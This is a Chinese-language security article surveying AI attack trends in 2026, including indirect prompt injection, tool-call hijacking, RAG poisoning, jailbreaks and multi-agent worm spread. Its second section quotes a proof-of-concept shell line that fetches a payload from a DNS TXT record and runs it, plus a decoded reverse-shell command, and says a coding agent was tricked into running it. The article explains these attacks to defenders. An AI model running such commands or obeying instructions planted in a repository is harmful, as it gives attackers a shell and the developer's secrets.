AI的七条攻击链，一张生态图

原创

Yiki
Yiki

船山信安

2026年7月5日 17:01
广东

在小说阅读器读本章

去阅读

2026AI安全攻击趋势观察

一、从模型内部转向整个AI生态

2026年或许会被后来人记成AI安全的爆发年，资本涌入，赛道升温，攻防节奏明显加快。今年上半年最危险的变化，不在模型本身，而在AI的使用环境。攻击者的目光早已从大模型内部挪开，转向整个AI生态，视角切换得相当彻底，某种程度上他们开始把AI当成暴露在互联网上的操作系统来打。

二、把恶意指令藏进日常信息

排在第一位的威胁，间接提示注入。攻击者不直接跟AI对话，把恶意指令藏在网页、文档、API返回或RAG知识库里，AI正常读取信息时就被牵着走。Mozilla旗下0DIN团队六月底公开的POC相当典型，一个看起来干净的GitHub仓库，README里写着正常初始化步骤，Python包故意首次运行报错，诱导执行修复命令，实际调用的shell脚本从DNS TXT记录拉取payload

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '\"')
[ -n \"$cfg\" ] && bash -c \"$cfg\"

DNS记录里存的是base64编码的反向shell，解码后即bash -i >& /dev/tcp//4443 0>&1，Claude Code全程只觉得自己在修一个报错，开发者终端只显示Environment ready，攻击者已经拿到交互式shell和全部环境密钥。

三、诱导AI错误操作工具

紧随其后的是工具调用劫持，AI调用浏览器、文件系统或API时被诱导执行错误操作。

四、污染知识库，操控模型输出

RAG数据投毒则更隐蔽，知识库被植入恶意文档，向量检索当作可信上下文返回，模型乖乖输出攻击者想要的内容，法律金融医疗场景下后果不堪设想。

GitHub上已有完整POC框架rag-exploit-lab演示这条链路，投毒文档经ChromaDB分块嵌入后，用户正常提问触发检索， poisoned chunk覆盖系统提示，敏感数据就此外泄。

五、行为塑形、越狱与工具输出污染

行为塑形攻击最近抬头很快，通过设计交互规则和奖励机制逐步把模型推离安全策略。经典越狱仍是主力，角色扮演、多层嵌套、语言混淆轮番上。工具输出污染容易跟劫持搞混，区别在于攻击者不动AI行为，只污染它读取的信息源。

六、蠕虫式扩散，源头难定位

多Agent传播攻击或许是最棘手的，Agent A投毒数据，Agent B读取执行，Agent C扩散结果，蠕虫式传播速度极快，源头难定位。

POC来源 https://0din.ai/blog/clone-this-repo-and-i-own-your-machine https://github.com/akanshb/rag-exploit-lab